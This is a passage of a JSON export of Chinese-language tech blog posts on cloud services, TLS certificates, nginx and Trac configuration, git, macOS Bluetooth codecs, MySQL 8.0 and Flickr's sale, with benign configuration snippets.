type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/8WpBvQH.webp\" /><img src=\"https://i.gslin.com/imgur/8WpBvQH.jpg\" alt=\"\" /></picture>\r\n\r\n是個整合性的服務，之前就可以做 (用 Lambda 定時跑)，現在則是包裝起來針對 AWS 自家的服務弄的更簡單。",
    "title": "AWS 推出 AWS Secrets Manager"
  },
  {
    "id": "8254",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 <a href=\"https://www.cloudflare.com/products/argo-tunnel/\">Argo Tunnel</a>，可以將內部網路與 Cloudflare 之間打通：「<a href=\"https://blog.cloudflare.com/argo-tunnel/\">Argo Tunnel: A Private Link to the Public Internet</a>」。\r\n\r\nCloudflare 在去年推出了 Wrap (可以參考「<a href=\"https://blog.gslin.org/archives/2017/11/24/7828/cloudflare-%E6%8E%A8%E5%87%BA%E7%9A%84-wrap-%E8%AE%93%E4%BD%A0%E4%B8%8D%E7%94%A8%E5%9C%A8%E6%9C%AC%E5%9C%B0%E7%AB%AF%E9%96%8B%E5%B0%8D%E5%A4%96%E7%9A%84-port-80-443/\">Cloudflare 推出的 Wrap 讓你不用在本地端開對外的 Port 80/443</a>」這篇)，這次其實只是改名：\r\n\r\n<blockquote>During the beta period, Argo Tunnel went under a different name: Warp. While we liked Warp as a name, as soon as we realized that it made sense to bundle Warp with Argo, we wanted it to be under the Argo product name. Plus, a tunnel is what the product is so it's more descriptive.</blockquote>\r\n\r\n看起來沒有什麼新的玩意... 純粹改名字 :o",
    "title": "Cloudflare 推出 Argo Tunnel"
  },
  {
    "id": "8256",
    "body": "在「<a href=\"https://changelog.com/news/gron-makes-json-more-greppable-NRAb\">gron makes JSON more greppable</a>」這邊看到 <a href=\"https://github.com/tomnomnom/gron\">gron</a> 這個工具，可以將 JSON 轉成條列式的資料 (或是反過來，將條列式的資料轉回 JSON)。\r\n\r\n像是網站上給的範例之一：\r\n\r\n<pre>▶ gron testdata/two.json \r\njson = {};\r\njson.contact = {};\r\njson.contact.email = \"mail@tomnomnom.com\";\r\njson.contact.twitter = \"@TomNomNom\";\r\njson.github = \"https://github.com/tomnomnom/\";\r\njson.likes = [];\r\njson.likes[0] = \"code\";\r\njson.likes[1] = \"cheese\";\r\njson.likes[2] = \"meat\";\r\njson.name = \"Tom\";</pre>\r\n\r\n這讓 <a href=\"https://en.wikipedia.org/wiki/Grep\">grep</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Sed\">sed</a> 之類的工具會更好操作，不然得用 <a href=\"https://stedolan.github.io/jq/\">jq</a> 盧半天...",
    "title": "gron：把 JSON 結構轉成條列式的資料，方便後續的文字處理..."
  },
  {
    "id": "8258",
    "body": "在 <a href=\"https://www.ssllabs.com/\">SSL Labs</a> 上翻資料的時候發現看到台灣有些網站的 SSL 憑證在 Java Trust Store 內是不會取得信任授權的，但其他的都支援，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DEdup2O.webp\" /><img src=\"https://i.gslin.com/imgur/DEdup2O.jpg\" alt=\"\" /></picture>\r\n\r\n翻了幾個後發現都是 <a href=\"https://www.twca.com.tw/\">TWCA</a> 的，在其他家都是這樣授權出來的 (Mozilla/Apple/Android/Windows)：(TWCA Root Certification Authority -&gt; ) TWCA Global Root CA -&gt; TWCA Secure SSL Certification Authority -&gt; Final，也就是 TWCA 的兩個 Root CA 都在 trust store 內，走任何一條授權都可以拉出來。\r\n\r\n印象中之前應該都是支援的... 先前是 cross sign 嗎？@_@",
    "title": "TWCA 不在 Java Trust Store 裡..."
  },
  {
    "id": "8261",
    "body": "看到「<a href=\"https://zwischenzugs.com/2018/03/26/git-log-the-good-parts/\">git log – the Good Parts</a>」這篇文章，裡面研究了 <a href=\"https://git-scm.com/\">Git</a> 裡 <code>git log</code> 的各種好用的功能，然後整理出來... (所以是 good parts XD)\r\n\r\n作者用的參數是一個一個加上去，所以可以一個階段一個階段了解用途。除了可以用作者推薦的 repository 測試外，我建議大家拿個自己比較熟悉的 open source 專案來測 (有用到比較複雜的架構)：\r\n\r\n<pre>git log\r\ngit log --oneline\r\ngit log --oneline --decorate\r\ngit log --oneline --decorate --all\r\ngit log --oneline --decorate --all --graph</pre>\r\n\r\n看到喜歡的部份可以在 <code>~/.gitconfig</code> 裡設 <code>alias</code> 使用，像是用 <code>git l</code> 之類的？保留 <code>git log</code> 本身可以避免一些 script 用到這個指令時因為輸出格式跟預期不一樣而爛掉 XD",
    "title": "把 git log 用得很開心...？"
  },
  {
    "id": "8262",
    "body": "<a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a> 是我很喜歡的一個套件，裡面有 Ruleset，會將 Ruleset 表內認定有支援 HTTPS 網站的 HTTP request 都改成 HTTPS，這可以降低被攔截的風險。像是網站雖然有 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 但第一次連線時走 HTTP 的情況，以及網站本身有支援 HTTPS 但沒有設定 HSTS 時，在網址列上誤打 HTTP 版本的情況。\r\n\r\n先前版本的 Ruleset 是隨著軟體更新時，包在軟體內一起更新。這樣的缺點是更新速度比較慢，但好處是不需要伺服器端，而且隱私性也比較高。而現在 <a href=\"https://www.eff.org/\">EFF</a> 決定還是要推出線上更新的版本，以加速 Ruleset 更新的速度：「<a href=\"https://www.eff.org/deeplinks/2018/04/https-everywhere-introduces-new-feature-continual-ruleset-updates\">HTTPS Everywhere Introduces New Feature: Continual Ruleset Updates</a>」。\r\n\r\n<blockquote>We've modified the extension to periodically check in with EFF to see if a new list is available.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X2K6Mwp.webp\" /><img src=\"https://i.gslin.com/imgur/X2K6Mwp.jpg\" alt=\"\" /></picture>\r\n\r\n而頻寬的部份由 <a href=\"https://www.fastly.com/\">Fastly</a> 贊助：\r\n\r\n<blockquote>If you haven't already, please install and contribute to HTTPS Everywhere, and consider donating to EFF to support our work!</blockquote>\r\n\r\n如果對這點有疑慮的，也還是可以關掉 auto updater 避免洩漏資訊給 EFF 或是 Fastly。",
    "title": "HTTPS Everywhere 改變更新 Ruleset 機制，變成定時更新..."
  },
  {
    "id": "8263",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 丟出了 <a href=\"https://github.com/Netflix/flamescope\">FlameScope</a>，另外一種顯示效能的工具，將效能資料轉成 2D 圖片：「<a href=\"https://medium.com/netflix-techblog/netflix-flamescope-a57ca19d47bb\">Netflix FlameScope</a>」。\r\n\r\n<blockquote>We’re excited to release FlameScope: a new performance visualization tool for analyzing variance, perturbations, single-threaded execution, application startup, and other time-based issues.</blockquote>\r\n\r\n然後這個工具同樣是發明火焰圖的 <a href=\"http://www.brendangregg.com/\">Brendan Gregg</a> 與他的同事 <a href=\"http://martinspier.io/\">Martin Spier</a> 的作品：\r\n\r\n<blockquote>FlameScope was developed by Martin Spier and Brendan Gregg, Netflix cloud performance engineering team. Blog post by Brendan Gregg.</blockquote>\r\n\r\n火焰圖 (flame graph) 就是這個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GFcAnzO.webp\" /><img src=\"https://i.gslin.com/imgur/GFcAnzO.jpg\" alt=\"\" /></picture>\r\n\r\n這次推出的是這樣的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QKtgQ7f.webp\" /><img src=\"https://i.gslin.com/imgur/QKtgQ7f.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XiVLNYL.webp\" /><img src=\"https://i.gslin.com/imgur/XiVLNYL.jpg\" alt=\"\" /></picture>\r\n\r\n其實是每秒切一次 offset 做出來的圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JNeFTve.webp\" /><img src=\"https://i.gslin.com/imgur/JNeFTve.jpg\" alt=\"\" /></picture>\r\n\r\n就可以很簡單的看出來哪些區塊以及 pattern 是熱點：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Nawg4ZR.webp\" /><img src=\"https://i.gslin.com/imgur/Nawg4ZR.jpg\" alt=\"\" /></picture>",
    "title": "Netflix 的 FrameScope，將效能資料轉成 2D 圖片"
  },
  {
    "id": "8266",
    "body": "在「<a href=\"https://www.extremetech.com/gaming/267288-ftc-warns-companies-warranty-void-if-removed-stickers-are-flatly-illegal\">FTC Warns Companies ‘Warranty Void if Removed’ Stickers Are Flatly Illegal</a>」這邊看到的新聞。<a href=\"https://www.ftc.gov/\">FTC</a> 的新聞稿則可以在「<a href=\"https://www.ftc.gov/news-events/press-releases/2018/04/ftc-staff-warns-companies-it-illegal-condition-warranty-coverage\">FTC Staff Warns Companies that It Is Illegal to Condition Warranty Coverage on the Use of Specified Parts or Services</a>」這邊看到。\r\n\r\n主要是因為美國的聯邦法 <a href=\"https://en.wikipedia.org/wiki/Magnuson%E2%80%93Moss_Warranty_Act\">Magnuson–Moss Warranty Act</a> (在 <a href=\"https://www.gpo.gov/fdsys/pkg/STATUTE-88/pdf/STATUTE-88-Pg2183.pdf\">STATUTE-88-Pg2183.pdf</a> 這邊可以看到條文 PDF，雖然看起來是掃描的圖檔，但有透過 OCR 處理讓大多數的文字都可以搜尋)。\r\n\r\n這套聯邦法保護消費者在接受保固時不受嚴苛的限制。法條裡面並沒有強制規定一定要有保固，但規定了如果有保固時，有哪些行為是受到規範的，以避免消費者受到不平等的對待：\r\n\r\n<blockquote>The law does not require any product to have a warranty (it may be sold \"as is\"), but if it does have a warranty, the warranty must comply with this law. The law was created to fix problems as a result of manufacturers using disclaimers on warranties in an unfair or misleading manner.</blockquote>\r\n\r\n其中這段條文讓 FTC 認為「拆封喪失保固」違法：\r\n\r\n<blockquote>(c) No Warrantor of a consumer product may condition his written or implied warranty of such product on the consumer's using, in connection with such product, any article or service (other than article or service provided without charge under the terms of the warranty) which is identified by brand, trade, or corporate name; except that the prohibition of this subsection may be waived by the Commission if—\r\n(1) the warrantor satisfies the Commission that the warranted product will function properly only if the article or service so identified is used in connection with the warranted product, and\r\n(2) the Commission finds that such a waiver is in the public interest.</blockquote>\r\n\r\n在 FTC 的新聞稿中提到他們發給六家警告，列出了其中三家的文字，在媒體的報導裡面也都找出來這些文字分別是從哪些公司出來的，包括了 <a href=\"https://www.hyundai.com/\">Hyundai</a> (現代)、<a href=\"https://www.nintendo.com/\">Nintendo</a> (任天堂) 以及 <a href=\"https://www.sony.com/\">Sony</a> (索尼)：\r\n\r\n<blockquote>“The use of [company name] parts is required to keep your… manufacturer’s warranties and any extended warranties intact.” = Hyundai.\r\n\r\n“This warranty shall not apply if this product… is used with products not sold or licensed by” = Nintendo.\r\n\r\n“This warranty does not apply if this product… has had the warranty seal on the [product] altered, defaced, or removed” = Sony.</blockquote>\r\n\r\n不過在另外一邊，<a href=\"https://www.reddit.com/\">Reddit</a> 上 Nintendo 區的討論也蠻有趣的：「<a href=\"https://www.reddit.com/r/nintendo/comments/8bgsim/ftc_staff_warns_companies_that_it_is_illegal_to/\">FTC Staff Warns Companies that it is Illegal to Condition Warranty Coverage on the Use of Specified Parts or Services : nintendo</a>」，裡面就稍微扯遠了一些，提到了改機之類的保固問題...\r\n\r\n另外值得一提的是，同一家媒體在 2016 年的時候就有報導類似的事情了，不過看起來當時沒什麼改善：「<a href=\"https://www.extremetech.com/gaming/233120-microsoft-sony-and-other-manufacturers-still-use-illegal-warranty-void-if-removed-stickers\">Microsoft, Sony, and other companies still use illegal warranty-void-if-removed stickers</a>」，這次由 FTC 出手應該會再更有力道一些。",
    "title": "FTC 警告 Nintendo 與 Sony「拆封喪失保固」違反聯邦法"
  },
  {
    "id": "8267",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 <a href=\"https://www.cloudflare.com/products/cloudflare-spectrum/\">Spectrum</a>，文章標題提到的 65533 應該是指 80 &amp; 443 以外其他的 port：「<a href=\"https://blog.cloudflare.com/spectrum/\">Introducing Spectrum: Extending Cloudflare To 65,533 More Ports</a>」。\r\n\r\n然後因為 TCP proxy 不像 HTTP proxy 與 WebSocket proxy 可以靠 <code>Host</code> header 資訊判斷，在 TCP proxy 需要獨占 IP address 使用 (i.e. 一個 IP address 只能給一個客戶用)，而因為 IPv4 address 不夠的關係，這個功能只開放給 Enterprise 客戶用：\r\n\r\n<blockquote>Today we are introducing Spectrum, which brings Cloudflare’s security and acceleration to the whole spectrum of TCP ports and protocols for our Enterprise customers.</blockquote>\r\n\r\n雖然現在限定在 Enterprise 客戶，但 Cloudflare 還是希望看看有沒有其他想法，目前提出來的選項包括了開放 IPv6 address 給所有人用，或是變成獨立付費項目：\r\n\r\n<blockquote>Why just Enterprise? While HTTP can use the Host header to identify services, TCP relies on each service having a unique IP address in order to identify it. Since IPv4 addresses are endangered, it’s quite expensive for us to delegate an IP per application and we needed to limit use. We’re actively thinking about ways to bring Spectrum to everyone. One idea is to offer IPv6-only Spectrum to non-Enterprise customers. Another idea is let anyone use Spectrum but pay for the IPv4 address. We’re not sure yet, but if you prefer one to the other, feel free to comment and let us know.</blockquote>\r\n\r\n類似的產品應該是 clean pipe 類的服務，但一般 clean pipe 是透過 routing 重導清洗流量，而非像 Cloudflare 這樣設計... 不知道後續會有什麼樣的變化。",
    "title": "Cloudflare 推出 Spectrum：65535 個 TCP Port 都可以轉的 Proxy..."
  },
  {
    "id": "8270",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 花了不少力氣在 <a href=\"https://www.arm.com/\">ARM</a> 的伺服器上 (可以參考「<a href=\"https://blog.gslin.org/archives/2018/03/23/8211/cloudflare-%E7%94%A8-arm-%E7%95%B6%E4%BC%BA%E6%9C%8D%E5%99%A8%E7%9A%84%E9%80%B2%E5%B1%95/\">Cloudflare 用 ARM 當伺服器的進展...</a>」，或是更早的「<a href=\"https://blog.gslin.org/archives/2017/11/09/7745/cloudflare-%E6%B8%AC%E8%A9%A6-arm-%E6%96%B0%E7%9A%84%E4%BC%BA%E6%9C%8D%E5%99%A8/\">Cloudflare 測試 ARM 新的伺服器</a>」這篇)，最近在 ARM 上發現 <a href=\"http://jpegclub.org/jpegtran/\">jpegtran</a> 的效能不是太好，花了不少力氣最佳化，發現有意外收穫：「<a href=\"https://blog.cloudflare.com/neon-is-the-new-black/\">NEON is the new black: fast JPEG optimization on ARM server</a>」。\r\n\r\n他們設的低標是讓每個 core 的效能大約在 <a href=\"https://en.wikipedia.org/wiki/Xeon\">Xeon</a> 的 50%，但發現只有 26% 左右的效能：\r\n\r\n<blockquote>Ideally we want to have the ARM performing at or above 50% of the Xeon performance per core. This would make sure we have no performance regressions, and net performance gain, since the ARM CPUs have double the core count as our current 2 socket setup.\r\n\r\nIn this case, however, I was disappointed to discover an almost 4X slowdown.</blockquote>\r\n\r\n而他就想到這些圖形運算的程式應該早就在使用各種 <a href=\"https://en.wikipedia.org/wiki/SIMD\">SIMD</a> 指令集加速，於是作者就想到，把 <a href=\"https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions\">SSE</a> 的最佳化部份 porting 到 ARM 上面的 <a href=\"https://en.wikipedia.org/wiki/NEON_(instruction_set)\">NEON</a> 說不定會有很大的幫助：\r\n\r\n<blockquote>Not one to despair, I figured out that applying the same optimizations I did for Intel would be trivial. Surely the NEON instructions map neatly to the SSE instructions I used before?</blockquote>\r\n\r\n而 porting 完後重新測試發現達到了 66% 的效能，已經超過本來的目標... 另外在批次處理中，也比 Xeon 快了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aYgAwuT.webp\" /><img src=\"https://i.gslin.com/imgur/aYgAwuT.jpg\" alt=\"\" /></picture>\r\n\r\n繼續發研究時又發現 NEON 有一些在 SSE 沒有的指令 (沒有相似功能)，也許能提供更進一步的加速：\r\n\r\n<blockquote>While going over the ARMv8 NEON instruction set, I found several unique instructions, that have no equivalent in SSE.</blockquote>\r\n\r\n如果再把這些指令實做出來，會發現單 core 的效能已經到 Xeon 的 83%，而批次的速度又提昇了不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/G2IQrpH.webp\" /><img src=\"https://i.gslin.com/imgur/G2IQrpH.jpg\" alt=\"\" /></picture>\r\n\r\n最後是整台伺服器都跑滿時的測試，會發現整台的效能差不多 (其實 ARM 的版本還贏一些)，但吃電量不到一半，而就算只拿他們常態在跑的 4 workers 來看 (應該是為了 latency 問題)，用電效率來到 6.5 倍：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/suwG7Ss.webp\" /><img src=\"https://i.gslin.com/imgur/suwG7Ss.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>With the new implementation Centriq outperforms the Xeon at batch reduction for every number of workers. We usually run Polish with four workers, for which Centriq is now 1.3 times faster while also 6.5 times more power efficient.</blockquote>\r\n\r\n這篇在提醒之後在 ARM 上寫最佳化時，不要只從 SSE porting 到 NEON，要多看一下有沒有其他指令集是有幫助的...",
    "title": "Cloudflare 的 jpegtran 在 ARM 上面的表現"
  },
  {
    "id": "8271",
    "body": "如果 <a href=\"https://nginx.org/\">nginx</a> 想接 <a href=\"https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol\">LDAP</a> 認證，網路上找到的資料主要都是透過 nginx 的模組直接支援，但這需要自己 compile 一個出來 (因為內建的好像都沒支援)，對於後續維護不太方便，就懶了... 後來研究出來的方法是 nginx 接 <a href=\"https://en.wikipedia.org/wiki/Pluggable_authentication_module\">PAM</a>，再用 PAM 接上 LDAP，這些都有現成套件可以一路串起來。\r\n\r\n首先是 nginx 要裝 PPA 版 (像是「<a href=\"https://launchpad.net/~nginx/+archive/ubuntu/stable\">NGINX Stable : “Nginx” team</a>」這個版本)，裡面的 <a href=\"https://packages.ubuntu.com/nginx-full\">nginx-full</a> 會包括 <a href=\"https://packages.ubuntu.com/libnginx-mod-http-auth-pam\">libnginx-mod-http-auth-pam</a>，接下來是安裝 <a href=\"https://packages.ubuntu.com/libpam-ldap\">libpam-ldap</a>，這樣套件就裝好啦...\r\n\r\n設定的部份，nginx 內這樣設：\r\n\r\n<pre>    location ~ /test {\r\n        auth_pam \"Secure Zone\";\r\n        auth_pam_service_name \"nginx-ldap\";\r\n    }</pre>\r\n\r\n然後 <code>/etc/pam.d/nginx-ldap</code> 裡面掛上 LDAP 就可以了：\r\n\r\n<pre>auth    required     pam_ldap.so\r\naccount required     pam_ldap.so</pre>\r\n\r\n重點在於 <code>/etc/ldap.conf</code> 內的設定，我是只 <code>base dc=example,dc=com</code> (base 是什麼) 與 <code>uri ldap:///</code> (LDAP 伺服器在哪)，其他都註解掉。\r\n\r\n這樣是比較麻煩沒錯，不過軟體其他人都包好了，這樣反而省了維護軟體的功夫...",
    "title": "nginx 透過 libnginx-mod-http-auth-pam + libpam-ldap 串起 LDAP"
  },
  {
    "id": "8272",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://nginx.org/\">nginx</a> 穩定版 1.14.0 出了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">nginx-1.14.0 stable version is here! Includes new features and bug fixes from the 1.13.x mainline branch (mirror module, HTTP/2 push, gRPC proxy, and more) <a href=\"https://t.co/QAHiSa4lB2\">https://t.co/QAHiSa4lB2</a> <a href=\"https://t.co/0yyRqlBlws\">https://t.co/0yyRqlBlws</a></p>&mdash; nginx web server (@nginxorg) <a href=\"https://twitter.com/nginxorg/status/986268873820442625?ref_src=twsrc%5Etfw\">April 17, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n從 <a href=\"https://nginx.org/en/CHANGES-1.14\">CHANGES-1.14</a> 可以看到 1.12 到 1.14 中間多了哪些功能，我比較注意的是：\r\n\r\n<ul>\r\n\t<li>引入了 TLS 1.3 關鍵字。(因為還沒進 Standard Track，不能直接說支援了...)</li>\r\n\t<li>支援 HTTP/2 Push。</li>\r\n\t<li>引入 <a href=\"https://grpc.io/\">gRPC</a> 相關的功能。</li>\r\n</ul>\r\n\r\n看看 Ubuntu 18.04 會不會直接上這個版本，另外就是等 PPA 了...",
    "title": "nginx 穩定版 1.14.0 出版"
  },
  {
    "id": "8273",
    "body": "<a href=\"https://trac-hacks.org/wiki/TracTicketReferencePlugin\">TracTicketReferencePlugin</a> 是個 <a href=\"https://trac.edgewall.org/\">Trac</a> 上設定 ticket 之間關聯性的 plugin，與子母票有比較強烈的關係不同，有些人喜歡把相關的資料都掛在這邊。先前用都是在 Trac 1.0 上用，也沒什麼問題，最近在 Trac 1.2 上跑發現直接有 js error...\r\n\r\n原因是 TracTicketReferencePlugin 用到 <code>jQuery.live()</code>，而這個函式在 <a href=\"https://jquery.com/\">jQuery</a> 1.7 被宣告 deprecated，在 jQuery 1.9 被正式拔掉了。而 Trac 1.0 用的是 jQuery 1.7，所以不會有問題；Trac 1.2 用的是 jQuery 1.12，於是就爛掉了...\r\n\r\n剛好就是昨天，有人在作者的 repository 上發 issue 出來 (另外也提供了 patch)：「<a href=\"https://bitbucket.org/t2y/trac.plugins.ticketref/issues/9/javascript-errors-with-trac-12\">t2y / trac.plugins.ticketref / issues / #9 - JavaScript errors with Trac 1.2 &mdash; Bitbucket</a>」。雖然 patch 本身不算難，但我實在懶的查 <a href=\"https://www.mercurial-scm.org/\">Mercurial</a> 的操作，於是決定用 workaround 解...\r\n\r\n想法是讓 <code>jQuery.live()</code> 會動，這點在 jQuery 官方出的 Migrate 就可以達到 (需要用 1.4.1 版，而不是 3.0.1 版)，於是第一步就是在 <code>site.html</code> 內直接先下手為強，讀 jQuery 後馬上讀 Migrate：\r\n\r\n<pre>  &lt;!--! Add site-specific style sheet --&gt;\r\n  &lt;head py:match=\"head\" py:attrs=\"select('@*')\"&gt;\r\n    &lt;script src=\"https://code.jquery.com/jquery-1.12.4.min.js\"&gt;&lt;/script&gt;\r\n    &lt;script src=\"https://code.jquery.com/jquery-migrate-1.4.1.min.js\"&gt;&lt;/script&gt;\r\n    ${select('*|comment()|text()')}</pre>\r\n\r\n但 Trac 還是會再載入一次的 jQuery 而蓋過去，所以我們要讓 Trac 不會載入，在 <code>trac.ini</code> 內的 <code>jquery_location</code> 設定讓他讀一個空的 js 檔：\r\n\r\n<pre>jquery_location = site/null.js</pre>\r\n\r\n然後生一個空的 <code>trac/htdocs/null.js</code> 讓他讀。\r\n\r\n最後開一張票追蹤，看什麼時候官方放新版，再把這串 workaround 拔掉...",
    "title": "Trac 1.2 上惡搞 TracTicketReferencePlugin 讓他會動..."
  },
  {
    "id": "8274",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 67 (下一個版本) 的 DevTools 將會顯示憑證上的 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a> 資訊：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">In Chrome 67 the Security panel now provides certificate transparency info.<a href=\"https://t.co/JfV4IOrsmW\">https://t.co/JfV4IOrsmW</a> <a href=\"https://t.co/EbArEUv4MI\">pic.twitter.com/EbArEUv4MI</a></p>&mdash; Chrome DevTools (@ChromeDevTools) <a href=\"https://twitter.com/ChromeDevTools/status/986628922816135168?ref_src=twsrc%5Etfw\">April 18, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n現在要看這個資訊比較麻煩，之後可以在瀏覽器裡直接讀就會簡單一些了...\r\n\r\n話說回來，<a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 上個月也支援 SCT 了：「<a href=\"https://letsencrypt.org/2018/04/04/sct-encoding.html\">Engineering deep dive: Encoding of SCTs in certificates</a>」，不過目前只能先用 command line 工具看... 我拉了 Let's Encrypt 官方網站的 certificate 可以看到 (Let's Encrypt 那篇文章裡的範例)，但我自己 blog 的 certificate (序號 <a href=\"https://acme-v01.api.letsencrypt.org/acme/cert/04ef0022ed7d5417f1ccbc011acf7fea9830\">04ef0022ed7d5417f1ccbc011acf7fea9830</a>) 看起來是在 Let's Encrypt 支援 SCT 之前申請的，沒看到 SCT 資訊... 要等下一次的 renew 了。",
    "title": "Google Chrome 67 將可以在 DevTools 裡看到 SCT 的內容"
  },
  {
    "id": "8275",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://www.apple.com/osx/\">OS X</a> 接藍芽耳機時的音質問題：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">开启Mac蓝牙的aptX和AAC 编码支持。<a href=\"https://t.co/YdcuXeZlKE\">https://t.co/YdcuXeZlKE</a><br><br>sudo defaults write bluetoothaudiod &quot;Enable AptX codec&quot; -bool true<br><br>sudo defaults write bluetoothaudiod &quot;Enable AAC codec&quot; -bool true<br><br>靠，音质提升立竿见影啊，我的狗耳都能听出来，为啥 Apple 这两个不是默认开启的。坑啊。 <a href=\"https://t.co/Ztv4zrwBXX\">pic.twitter.com/Ztv4zrwBXX</a></p>&mdash; Leask Wong (@Leaskh) <a href=\"https://twitter.com/Leaskh/status/976881281098244103?ref_src=twsrc%5Etfw\">March 22, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n看了一些討論，看起來除了蘋果自己的耳機外，其他家的藍芽耳機不一定會開 <a href=\"https://en.wikipedia.org/wiki/Advanced_Audio_Coding\">AAC</a> 或是 <a href=\"https://en.wikipedia.org/wiki/AptX\">aptX</a>。雖然現在沒有其他家的藍芽設備，但以後如果買了要注意一下...",
    "title": "OS X 接藍芽耳機要注意的地方..."
  },
  {
    "id": "8276",
    "body": "廣告走 HTTP 而且還帶了一堆敏感資訊，算是最近討論蠻熱烈的問題：「<a href=\"https://securelist.com/leaking-ads/85239/\">Leaking ads</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rTqqx2n.webp\" /><img src=\"https://i.gslin.com/imgur/rTqqx2n.jpg\" alt=\"\" /></picture>\r\n\r\n而且還分析找出有哪些是超大的廣告 unencrypted domain，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vMXbGwq.webp\" /><img src=\"https://i.gslin.com/imgur/vMXbGwq.jpg\" alt=\"\" /></picture>\r\n\r\n不過裡面一堆都不熟悉的廣告業者，反倒是聯想的網域被抓出來了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FejcZRX.webp\" /><img src=\"https://i.gslin.com/imgur/FejcZRX.jpg\" alt=\"\" /></picture>\r\n\r\n不過行動裝置上能控制的東西太少了... 裝廣告阻擋程式比較實際，<a href=\"https://www.apple.com/ios/\">iOS</a> 上不 JB 應該是只有 VPN 的方案，而 <a href=\"https://www.android.com/\">Android</a> 上的方案應該就比較多了，除了 VPN 以外有 <code>/etc/hosts</code> 甚至是 firewall solution。",
    "title": "廣告的 SDK 因為走 HTTP 傳輸而洩漏大量資料..."
  },
  {
    "id": "8278",
    "body": "<a href=\"https://www.oracle.com/\">Oracle</a> 推出了 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 (GA，General Availability)：「<a href=\"https://mysqlserverteam.com/mysql-8-0-announcing-ga-of-the-mysql-document-store/\">MySQL 8.0 – Announcing GA of the MySQL Document Store</a>」。在「<a href=\"https://mysqlserverteam.com/whats-new-in-mysql-8-0-generally-available/\">What’s New in MySQL 8.0? (Generally Available)</a>」這邊也花了一些篇幅介紹 MySQL 8.0 的新功能。\r\n\r\n比較感興趣的是：\r\n\r\n<ul>\r\n\t<li>Descending Indexes</li>\r\n\t<li>Information Schema (speed up)</li>\r\n\t<li>Performance Schema (speed up)</li>\r\n\t<li>INVISIBLE Indexes</li>\r\n\t<li>Scaling Read/Write Workloads</li>\r\n\t<li>Utilizing IO Capacity (Fast Storage)</li>\r\n\t<li>Better Performance upon High Contention Loads (“hot rows”)</li>\r\n</ul>\r\n\r\n不過就實用性來說，效能的提昇還是最直接的... 接下來等 <a href=\"https://www.percona.com/\">Percona</a> 的人 porting 了。",
    "title": "MySQL 8.0 正式推出 (GA，General Availability)"
  },
  {
    "id": "8279",
    "body": "<a href=\"https://www.smugmug.com/\">SmugMug</a> 買下 <a href=\"https://www.flickr.com/\">Flickr</a>，這應該算是好消息 (吧)：「<a href=\"https://www.usatoday.com/story/tech/2018/04/20/smugmug-buys-flickr-verizon-oath/537377002/\">Exclusive: Flickr bought by SmugMug, which vows to revitalize the photo service</a>」。\r\n\r\n雙方的新聞稿是：「<a href=\"https://news.smugmug.com/smugmug-acquires-flickr-two-passionate-communities-together-at-last-ca10955400c\">SmugMug acquires Flickr: Two passionate communities together at last.</a>」與「<a href=\"https://blog.flickr.net/en/2018/04/20/together-smugmug-flickr/\">Together is where photographers belong!</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/n1uto1d.jpg\" alt=\"\" />\r\n\r\n時代的眼淚啊... 還在交大的時候買了 Pro，後來被併進 Y! 後沒續約了。丟著直到 <a href=\"https://www.instagram.com/\">Instagram</a> 可以同步上去時又有更新，然後 Instagram 停止分享到 Flickr 的功能後又改找 <a href=\"https://ifttt.com/\">IFTTT</a> 同步。\r\n\r\n而本來做 Flickr 的那群人後來跑去做 <a href=\"https://slack.com/\">Slack</a>... (包括 <a href=\"https://en.wikipedia.org/wiki/Stewart_Butterfield\">Stewart Butterfield</a> 與 <a 